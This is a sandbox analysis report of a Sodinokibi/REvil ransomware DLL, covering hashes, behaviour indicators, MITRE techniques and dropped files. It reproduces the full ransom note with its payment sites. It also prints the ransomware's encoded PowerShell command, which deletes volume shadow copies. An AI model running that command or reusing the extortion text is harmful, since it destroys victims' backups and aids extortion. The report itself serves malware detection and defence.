sodinokibi | 54c668a3d573e2f2ae4c3783f32739898e16f31338c0c1f223b0490712ec2e28

Analysis

max time kernel
119s
max time network
124s
platform
windows7_x64
resource
win7-20240508-en
resource tags

arch:x64arch:x86image:win7-20240508-enlocale:en-usos:windows7-x64system
submitted
17-06-2024 11:30

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General

Target

b861d987eccfae74a084ec2ab22556b6_JaffaCakes118.dll
Size

114KB
MD5

b861d987eccfae74a084ec2ab22556b6
SHA1

b869546ef09656a52ba63916a4375f2f1c5b5ad6
SHA256

54c668a3d573e2f2ae4c3783f32739898e16f31338c0c1f223b0490712ec2e28
SHA512

ac50e5fc6cb81e42775ad743c1832ac371d4c101a0d00785b82932411a320bad3a11efb2caea7024d3503e23cb346526562deeef627f2c0576b53ee9967b6e22
SSDEEP

1536:t+UsJjrePaONg5khnnI5drFqgNNtrpNOxXICS4AR4YBQykTRB6+5Cs4L0+qBHaeP:t0rLOiqhnufNNtdxvJA76+5CsAb8HaeP

Score

10^/10

sodinokibi ransomware

Malware Config

Extracted

Path

C:\Users\8143eyhfxd-readme.txt

Family

sodinokibi

Ransom Note

---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your system has extension 8143eyhfxd. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practice - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/0FA05C3295FD0EA3 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.cc/0FA05C3295FD0EA3 Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: zCkeKU/Jr8t8ShuGyoO5haIn9JXm4mX7vKHdZIojbLqjjPme1Rg6av2MMCizcBU8 p7Cd4Cv8udB6VufyRBDVzIsNUKbwJ06ej+r2vpzEruTMF10FcIApgAHF74/pA8Za 2h206kLVJD7h3WOwOs7C8DzXK7XGiakYA+Kc33Wn8TRrLqZWdvabdLONWRa5ax5/ 5n3R93xcv9HGfmUwuD+nJpAOdVaSc9qZj4RgTLcY2ajm7cVLpPd3VwIA42enOoBC Ehq5s58da7xPHOI3lXqERwWabEgbVj7Zfw1mIAf5MaxuCQAeEpyzEEx+3VC7eL34 ReIOsTXKqeGd8mehyIpmSuXZ/vkw+gCXGVPc2djMxPlMqlsFBqzt9N15RDHZOkbc xnTfVhAeVpupxIkfOl2I5c9UDriyNncLs3g6q7+cFLj0L3UkptGJCgCfqp/Oh1KF pr85+czFq4zGXR1uqrW/jzKCqZgGAFElM8hWAYOsFSkZyk+mS0ed65t8Js2XkJK1 QSaby5bUfCL1SI0o2a6aXNJPiz4QTCFYNqGTkKJu+1dBUXjuVJb2edn5TXO9ZUUs d5sOIAVFvLXycHJKXrVfC9UYxeQruSXOlVH3Cp3ix4gnhjUX09TDnVzIbuuFltWo QQEfBtXXiIwUs+ZSMpilZ8Ci92rmXF1xrwxjXKuWhSv2zeIdZzBLZUgFMta4Uf9d k0FxVMSEW9hULAsB7JsvNIvnB/SUaJRv7my6c6b9enlp+EGDsw2t9w+DNSjTsQDH 0TCpKljw6rmSOMo1ltYLEpkxbLD1Mk3ty6YfIKqTEN2PAcl1KtO30lmTID/a+fWu g3+TfKDIJQpU1TUfLH1ir00heDUXzlK++F0vcskBzzE+mxilVSs+vo1f86mqs5iG /ggNLvd+V4izWgqzfpKDeckHfbHvR0R0bB/+lXgH9XTDuyJVy0QLu2ciohQS6zfC 5ZiRUwgWZxrW3B7H6C6uLkyJzBSzGzAElkkNpING8pzTOZyUmm+0VtUAGEIdV3ge 0IWq9DFSOyzoRMLT2qSZRv0YtRpi3z6F8KgOwV/RUnKI8wXa6/15RWuUbDNY0zXg EMvyXI1XR/P+6DKUAF4Od5CYk2Q7oj74+293huG46LNEf5a/XN4SwAqtroXQjTSV x6EGaCt57MqxBLKszCV6cDzqLbURi+clZ+s4dtVeEzUxpUQ6A2zTKP74hskLNNtv KbYqPH0tH5LYVZEmaHtTcGTdFS6NGhR4xFjcm/MUTpvx6NOhxbEr0SqUquRM4SPh sflrfPYkQypmAU8pOAEDx/CLDIjV5j3x7O7xy4sgOHL8ISmVJTNU4JdDC+Eu05bB 7h1Lvys2qzcum2aUQYNepSJYtU0IC2/9+2IEUoUdqOvZul5ean5Lbg== ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damage of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!

URLs

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/0FA05C3295FD0EA3

http://decryptor.cc/0FA05C3295FD0EA3

Signatures

Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
ransomware sodinokibi

Enumerates connected drives 3 TTPs 25 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\J:	rundll32.exe
File opened (read-only)	\??\L:	rundll32.exe
File opened (read-only)	\??\Q:	rundll32.exe
File opened (read-only)	\??\T:	rundll32.exe
File opened (read-only)	\??\G:	rundll32.exe
File opened (read-only)	\??\I:	rundll32.exe
File opened (read-only)	\??\Z:	rundll32.exe
File opened (read-only)	\??\E:	rundll32.exe
File opened (read-only)	\??\P:	rundll32.exe
File opened (read-only)	\??\K:	rundll32.exe
File opened (read-only)	\??\X:	rundll32.exe
File opened (read-only)	\??\R:	rundll32.exe
File opened (read-only)	\??\H:	rundll32.exe
File opened (read-only)	\??\M:	rundll32.exe
File opened (read-only)	\??\N:	rundll32.exe
File opened (read-only)	\??\O:	rundll32.exe
File opened (read-only)	\??\W:	rundll32.exe
File opened (read-only)	\??\F:	rundll32.exe
File opened (read-only)	\??\B:	rundll32.exe
File opened (read-only)	\??\S:	rundll32.exe
File opened (read-only)	\??\U:	rundll32.exe
File opened (read-only)	\??\V:	rundll32.exe
File opened (read-only)	\??\Y:	rundll32.exe
File opened (read-only)	\??\D:	rundll32.exe
File opened (read-only)	\??\A:	rundll32.exe

Drops file in Program Files directory 35 IoCs

description	ioc	Process
File opened for modification	\??\c:\program files\UnregisterExport.dwg	rundll32.exe
File opened for modification	\??\c:\program files\ConvertFromUnregister.potx	rundll32.exe
File opened for modification	\??\c:\program files\DebugTest.html	rundll32.exe
File opened for modification	\??\c:\program files\RepairReceive.tif	rundll32.exe
File opened for modification	\??\c:\program files\CheckpointEdit.crw	rundll32.exe
File opened for modification	\??\c:\program files\RedoStep.xml	rundll32.exe
File opened for modification	\??\c:\program files\UnlockConvertFrom.pdf	rundll32.exe
File created	\??\c:\program files (x86)\microsoft sql server compact edition\8143eyhfxd-readme.txt	rundll32.exe
File created	\??\c:\program files\8143eyhfxd-readme.txt	rundll32.exe
File opened for modification	\??\c:\program files\BlockApprove.aif	rundll32.exe
File opened for modification	\??\c:\program files\CheckpointConfirm.mp3	rundll32.exe
File opened for modification	\??\c:\program files\SuspendClear.vstm	rundll32.exe
File opened for modification	\??\c:\program files\DismountSuspend.doc	rundll32.exe
File opened for modification	\??\c:\program files\PopWrite.ps1xml	rundll32.exe
File opened for modification	\??\c:\program files\SendUndo.wpl	rundll32.exe
File opened for modification	\??\c:\program files\DisableUnregister.vstx	rundll32.exe
File opened for modification	\??\c:\program files\StartUninstall.pptx	rundll32.exe
File opened for modification	\??\c:\program files\WaitResolve.mp2v	rundll32.exe
File opened for modification	\??\c:\program files\WriteExpand.ADT	rundll32.exe
File opened for modification	\??\c:\program files\ExportRestart.wm	rundll32.exe
File opened for modification	\??\c:\program files\RestartJoin.bmp	rundll32.exe
File opened for modification	\??\c:\program files\SearchUnlock.png	rundll32.exe
File opened for modification	\??\c:\program files\SearchUnblock.mpg	rundll32.exe
File opened for modification	\??\c:\program files\TestSkip.odt	rundll32.exe
File created	\??\c:\program files (x86)\microsoft sql server compact edition\v3.5\8143eyhfxd-readme.txt	rundll32.exe
File created	\??\c:\program files (x86)\8143eyhfxd-readme.txt	rundll32.exe
File opened for modification	\??\c:\program files\CompareHide.xlsb	rundll32.exe
File opened for modification	\??\c:\program files\PingBackup.clr	rundll32.exe
File opened for modification	\??\c:\program files\StopShow.doc	rundll32.exe
File opened for modification	\??\c:\program files\TestUnpublish.xltx	rundll32.exe
File opened for modification	\??\c:\program files\UnregisterCompress.pptx	rundll32.exe
File created	\??\c:\program files (x86)\microsoft sql server compact edition\v3.5\desktop\8143eyhfxd-readme.txt	rundll32.exe
File opened for modification	\??\c:\program files\FindUpdate.mhtml	rundll32.exe
File opened for modification	\??\c:\program files\InitializeGroup.mid	rundll32.exe
File opened for modification	\??\c:\program files\StartExit.ex_	rundll32.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1520	rundll32.exe
2356	powershell.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

description	pid	Process
Token: SeDebugPrivilege	1520	rundll32.exe
Token: SeDebugPrivilege	2356	powershell.exe
Token: SeBackupPrivilege	2760	vssvc.exe
Token: SeRestorePrivilege	2760	vssvc.exe
Token: SeAuditPrivilege	2760	vssvc.exe
Token: SeTakeOwnershipPrivilege	1520	rundll32.exe

Suspicious use of WriteProcessMemory 11 IoCs

description	pid	Process	procid_target
PID 2348 wrote to memory of 1520	2348	rundll32.exe	28
PID 2348 wrote to memory of 1520	2348	rundll32.exe	28
PID 2348 wrote to memory of 1520	2348	rundll32.exe	28
PID 2348 wrote to memory of 1520	2348	rundll32.exe	28
PID 2348 wrote to memory of 1520	2348	rundll32.exe	28
PID 2348 wrote to memory of 1520	2348	rundll32.exe	28
PID 2348 wrote to memory of 1520	2348	rundll32.exe	28
PID 1520 wrote to memory of 2356	1520	rundll32.exe	29
PID 1520 wrote to memory of 2356	1520	rundll32.exe	29
PID 1520 wrote to memory of 2356	1520	rundll32.exe	29
PID 1520 wrote to memory of 2356	1520	rundll32.exe	29

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Windows\system32\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\b861d987eccfae74a084ec2ab22556b6_JaffaCakes118.dll,#1
1⤵
- Suspicious use of WriteProcessMemory
PID:2348
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe C:\Users\Admin\AppData\Local\Temp\b861d987eccfae74a084ec2ab22556b6_JaffaCakes118.dll,#1
  2⤵
  - Enumerates connected drives
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1520
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2356

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:1760

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2760

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\8143eyhfxd-readme.txt

Filesize
6KB

MD5
6c6fcd6d98f9db982e26d1f16b8ca92a

SHA1
f1ffed0040e648b5b53bcdf3153a6df565c1f860

SHA256
4c8d9d077988abe7617abf3e9bda75cf280a1a53b5c6f6d0b9876f75f6b8de58

SHA512
a3b543d9b5b13b549025afc77ff4f4224d1613d4c7d37fa23750e21ec010fab8c063a577732bc5de681dc634f99e320bf430e05d9964ffad16b1970e11e49c6f

Download Submit
memory/2356-4-0x000007FEF628E000-0x000007FEF628F000-memory.dmp

Filesize
4KB

Download
memory/2356-5-0x000000001B6E0000-0x000000001B9C2000-memory.dmp

Filesize
2.9MB

Download
memory/2356-6-0x0000000002310000-0x0000000002318000-memory.dmp

Filesize
32KB

Download
memory/2356-7-0x000007FEF5FD0000-0x000007FEF696D000-memory.dmp

Filesize
9.6MB

Download
memory/2356-8-0x000007FEF5FD0000-0x000007FEF696D000-memory.dmp

Filesize
9.6MB

Download
memory/2356-9-0x000007FEF5FD0000-0x000007FEF696D000-memory.dmp

Filesize
9.6MB

Download
memory/2356-10-0x000007FEF5FD0000-0x000007FEF696D000-memory.dmp

Filesize
9.6MB

Download
memory/2356-11-0x000007FEF5FD0000-0x000007FEF696D000-memory.dmp

Filesize
9.6MB

Download
memory/2356-12-0x000007FEF5FD0000-0x000007FEF696D000-memory.dmp

Filesize
9.6MB

Download